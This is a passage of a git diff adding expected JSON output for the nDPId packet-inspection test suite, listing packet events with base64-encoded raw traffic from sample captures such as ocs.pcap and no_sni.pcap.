+01106{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":730612,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"eDHBvV4kEBMxuRBeCABFAAIofohAADQGU2hoFkiqwKgBdwG7ybcBQwubAC9k8lAYAEL0JAAAFwMDAb0k4WFYBIr7s1QFkD1o1eqA9bqB7neBT1u7+\/VDDoaFUM+O+V2fQwrfpzxcqPgYn59NP9r22zW7QAfP6hGwt0FIIEdt7tgMqTFC2g\/JAPbIMhDL62QmI21n9eh4UZySH1xG4A9NehaigRxHt63lgw5cgYCQsU2KzxzdBXtQB8SR9ei50iSAr3P4Eew2uCdSER25NrcMoLIcMKpva1SaldKH8\/G9g+pEreS44pcA0CxCpjqyvjSinmZLMa4u7IftQeiR+Okz1yAS4gCjQFl\/eGpAj36HG3eRWe8BEmVJtD4yEJeyZ+bwe63zFq\/qqpY+wOYMOcAulzw9Cp\/Cz+s9EHFPDQwzIQEUHmvMbaij0jBWLdvKNq\/d0ay\/DWgdsnXoSK9lbGt9lG598QAuGICckWDC8Dvuw7r766Nyok5EEr3PRZgVK8PxSucR8duF1pRf1EXVXTIXyzNCk6ycmMESGbnIKJVWf3ypzUZ4ws3zoSG0+zEvN9k6CZCqiGlkVybD4pb1sODJRyv7KGKxJuB2PVQz79nXXyNo0Kkvrvol03a2DoJb30VDYOMLvIA9upQD\/sXQdg4DxVdXjFabkR6NFwMDADk1nR2rhHzzHruMFDyUUm2LGfvysBfchedL2p7PPMmaN\/wgggSxw+jlIZ5h7xQQz1UKYRzkFvCZggw="} +00411{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":730729,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm3AbsAL2WtAUMNm1AQD\/jszwAA"} +00441{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":732477,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGx9jAqAF3aBZIqsm3AbsAL2WtAUMNm1AYEAA54QAAFwMDABN+w9Q0zd2EFlfgFZTbEqhbSrXj"} +00410{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":732478,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm3AbsAL2XFAUMNm1AREADsrgAA"} +00417{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":732967,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAoowZAADQGMOpoFkiqwKgBdwG7ybbraHTZSz6OIFAQAEI3oAAAAAAAAAAA"} +01100{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":734300,"pkt_caplen":566,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":566,"pkt_l4_len":532,"pkt":"eDHBvV4kEBMxuRBeCABFAAIoowdAADQGLuloFkiqwKgBdwG7ybbraHTZSz6OIFAYAEJp4AAAFwMDAb0z8Nm4k0AAna4DbfdjXqSlv1Phn+I6rZvifWnPIDJFB5YlsyTIkc9Nlu40IE4Qq+kcViOEkaePqmsfSaCrSkNzD9ptUCkmkwG0YaMhMsuBboARzq13l78B8nrKjlIhflAmqIL0PUTodUOLaUQYOSuRkv+P1AZyZSh6s5emoLwVwSNNkgbs7yIM2cEuxMQHLj1O0sU6TsGMO1vAzf0iNR8QWZ\/t\/m9kDxHimDr0GtBGC4HtF9HKzuY6cCZ4TScngBkQwWHJknEudvloAIpddAShcGYOlswz11IWba7ECiteT\/buoK4xqkV9ImTTaUwOhZ0jnvSazc990JEaGzy6ECnuJhyzeBrZyvsVA0CG\/+E0ObiEqJV8+u+mIJFcgSiRcg4ohMeX2S6pX+MZyc6BNoCtBTUXsnxbl6+Y6TmH1uY7B9Vvk5BX3TQkTlH5QV7aOoSIToTMVNnjfjNpD2U9WazIyWGRqiCesjR3YNquaY9+I7T838IM+nE6iBRVF4aLqHHFgBwb28LQMEWhd58WfqSeOCaoYzm14+NHvnF+bDLoqRPKOKRTtrh5IskR5fmaplGO64mFOtN3yZWNutsCFwMDADkeOyY2Z5X8OFgxtvJH2q5wuTaYNIk6G4+Q4lBNz8C6XzfgBFMx06kARLaSiTgPMfr7cr7slJ6Y5Cs="} +00411{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":734379,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm2AbtLPo7b62h22VAQD\/glLwAA"} +00442{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":735095,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMxuRBeeDHBvV4kCABFAABAAABAAEAGx9jAqAF3aBZIqsm2AbtLPo7b62h22VAYEAAZDAAAFwMDABNCZtDGQgvXBCNH\/tUJ7EBq2y2E"} +00410{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":735154,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm2AbtLPo7z62h22VAREAAlDgAA"} diff --git a/test/results/ocs.pcap.out b/test/results/ocs.pcap.out new file mode 100644 index 000000000..1295b30a7 --- /dev/null +++ b/test/results/ocs.pcap.out @@ -0,0 +1,1892 @@ +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652784,"pkt_ts_usec":341686,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPKbzQABABiV4wKi0AkDpuLy6UxRsAv3YCQAAAACgAjkIdPYAAAIEBbQEAggKADWBtgAAAAABAwMG"} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00371{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":71163,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"RQAAP4JiQABAETORwKi0AggICAiWSAA1ACtxaqbPAQAAAQAAAAAAAAVvY3UwMwhsYWJnZW5jeQJ3cwAAAQAB"} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":98261,"pkt_caplen":70,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"RQAARoJmQABAETOGwKi0AggICAicoQA1ADK8OQlbAQAAAQAAAAAAAAhzZXR0aW5ncwtjcmFzaGx5dGljcwNjb20AAAEAAQ=="} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":130760,"pkt_caplen":67,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"RQAAQ4JpQABAETOGwKi0AggICAgFCwA1AC+TFZykAQAAAQAAAAAAAANhcGkEZXUwMQhjYXBwdGFpbgNjb20AAAEAAQ=="} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":135098,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPJwfQABABqbCwKi0ArL40Da8egBQwI4edgAAAACgAjkI+LAAAAIEBbQEAggKADWCaQAAAAABAwMG"} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":152820,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPCFLQABABqbpwKi0AhcV5seZXwG7KAKjIAAAAACgAjkIs5MAAAIEBbQEAggKADWCawAAAAABAwMG"} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":167050,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPOubQABABs8fwKi0AomHgc7QbABQfGRp9gAAAACgAjkIVT4AAAIEBbQEAggKADWCbQAAAAABAwMG"} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":190607,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANJwgQABABqbJwKi0ArL40Da8egBQwI4ed\/tL3mKAEADlQqoAAAEBCAoANYJvRwX8Kg=="} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +01392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":215571,"pkt_caplen":824,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":824,"pkt_l4_len":0,"pkt":"RQADOJwhQABABqPEwKi0ArL40Da8egBQwI4ed\/tL3mKAGADlWgkAAAEBCAoANYJxRwX8KlBPU1QgL2NhdGFsb2cvdm9kP3Y9MyBIVFRQLzEuMQ0KWC1MZ3ktSHNzLUE6IEZGRTg2OUEyLTMzQUQtQTU0QS1CRUMwLTcyMTBEMDNDODM1Qi0yNTk0RDYzRA0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpYLUxneS1IU1MtU2VydmljZS1JZDogb2ZyLm9jcw0KWC1MZ3ktSFNTLVJvbS1JZDogc2Ftc3VuZy9HVC1QNzUxMC9BbmRyb2lkLzQuMC40L1hXTFA2L2FybXY3bF8xMDAwLjBNSHpfMTk5OC44NEJvZ29NaXBzX2ZlYXR1cmVzKHN3cCxoYWxmLHRodW1iLGZhc3RtdWx0LHZmcCxlZHNwLHZmcHYzLHZmcHYzZDE2LHRscylfY29yZXM9Mi8xMjgweDc1Mi9mYWxzZQ0KQ29udGVudC1MZW5ndGg6IDIzNA0KSG9zdDogb2N1MDMubGFiZ2VuY3kud3MNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjAuNDsgZnItZnI7IEdULVA3NTEwIEJ1aWxkL0lNTTc2RCkgQXBwbGVXZWJLaXQvNTM0LjMwIChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgU2FmYXJpLzUzNC4zMA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI\/Pgo8bGd5cmVxdWVzdCBtb2R1bGU9IkNNL1ZPRCI+Cgk8YWN0aW9uIG5hbWU9ImluaXQiPgoJCTxwYXJhbSBuYW1lPSJzY3JlZW5TaXplIiB2YWx1ZT0iIi8+CgkJPHBhcmFtIG5hbWU9InRpbWVzdGFtcCIgdmFsdWU9IjAiLz4KCQk8cGFyYW0gbmFtZT0iYXBwLXZlcnNpb24iIHZhbHVlPSIxLjQuNyIvPgoJPC9hY3Rpb24+CjwvbGd5cmVxdWVzdD4="} +00155{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":268943,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANOucQABABs8mwKi0AomHgc7QbABQfGRp97oFwGaAEADlOEAAAAEBCAoANYJ3vXlL7A=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":271139,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"RQAA0+udQABABs6GwKi0AomHgc7QbABQfGRp97oFwGaAGADl3TMAAAEBCAoANYJ3vXlL7EdFVCAveG1wcC1kaXNjbz9kZXZpY2VpZD1mMmM5OTNkNjIxOGY1ZTIyZmUyODRiMmU5MGM4MmYzYiZwdXNoX29uX2RldmljZT10cnVlJmFwcGlkPW9jczAwMDAwMyBIVFRQLzEuMQ0KSG9zdDogYXBpLmV1MDEuY2FwcHRhaW4uY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":326157,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANOueQABABs8kwKi0AomHgc7QbABQfGRqlroFwe2AEAD1NewAAAEBCAoANYJ9vXlMBA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":328342,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANOufQABABs8jwKi0AomHgc7QbABQfGRqlroFwe2AEQD1NesAAAEBCAoANYJ9vXlMBA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00370{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":395470,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPGAaQABABlqhwKi0AomHgc6vnwBQfAzimQAAAACgAjkI\/akAAAIEBbQEAggKADWCgwAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":398124,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANOugQABABs8iwKi0AomHgc7QbABQfGRql7oFwe6AEAD1NdYAAAEBCAoANYKEvXlMEQ=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":451782,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANJwiQABABqbHwKi0ArL40Da8egBQwI4he\/tL486AEAESObkAAAEBCAoANYKJRwX8ZA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":452343,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANJwjQABABqbGwKi0ArL40Da8egBQwI4he\/tL5zyAEAE9NiAAAAEBCAoANYKJRwX8ZA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":500298,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANGAbQABABlqowKi0AomHgc6vnwBQfAzimh3f\/xqAEADlPeYAAAEBCAoANYKOvXlMIw=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":501839,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"RQAAiGAcQABABlpTwKi0AomHgc6vnwBQfAzimh3f\/xqAGADlKR0AAAEBCAoANYKOvXlMI0dFVCAvaXAtdG8tY291bnRyeSBIVFRQLzEuMQ0KSG9zdDogYXBpLmV1MDEuY2FwcHRhaW4uY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":934111,"pkt_caplen":72,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"RQAASIK5QABAETMxwKi0AggICAi+ggA1ADS3+1EXAQAAAQAAAAAAAAdhbmRyb2lkB2NsaWVudHMGZ29vZ2xlA2NvbQAAAQAB"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652786,"pkt_ts_usec":975964,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"RQAAiGAdQABABlpSwKi0AomHgc6vnwBQfAzimh3f\/xqAGADlKO0AAAEBCAoANYK+vXlMI0dFVCAvaXAtdG8tY291bnRyeSBIVFRQLzEuMQ0KSG9zdDogYXBpLmV1MDEuY2FwcHRhaW4uY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":21,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":3032,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPLBhQABABm1GwKi0Atg60C6hBwG7mRQyoQAAAACgAjkIAHcAAAIEBbQEAggKADWCwAAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":22,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00360{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":75138,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANLBiQABABm1NwKi0Atg60C6hBwG7mRQyouLMvMiAEADlCc8AAAEBCAoANYLHGASl5Q=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":23,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":100546,"pkt_caplen":236,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":236,"pkt_l4_len":0,"pkt":"RQAA7LBjQABABmyUwKi0Atg60C6hBwG7mRQyouLMvMiAGADlzvUAAAEBCAoANYLKGASl5RYDAQCzAQAArwMBVmhd8vjfjZbbQQM2P+6kSvFiVrQbP+1p3IwwDXzkWPQAAEYABAAFAC8ANcACwATABcAMwA7AD8AHwAnACsARwBPAFAAzADkAMgA4AArAA8ANwAjAEgAWABMACQAVABIAAwAIABQAEQD\/AQAAQAALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABk="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":24,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":155971,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPCFMQABABqbowKi0AhcV5seZXwG7KAKjIAAAAACgAjkIsy4AAAIEBbQEAggKADWC0AAAAAABAwMG"} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":25,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":196365,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQLBkQABABm0\/wKi0Atg60C6hBwG7mRQzWuLMvMiwEADlgxwAAAEBCAoANYLTGASmTQEBBQrizMI04szHoA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":26,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":196993,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQLBlQABABm0+wKi0Atg60C6hBwG7mRQzWuLMvMiwEADlffQAAAEBCAoANYLTGASmTQEBBQrizMI04szMyA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":27,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652787,"pkt_ts_usec":198078,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQLBmQABABm09wKi0Atg60C6hBwG7mRQzWuLMvMiwEADlfQgAAAEBCAoANYLTGASmTQEBBQrizMI04szNtA=="} +00156{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":28,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} 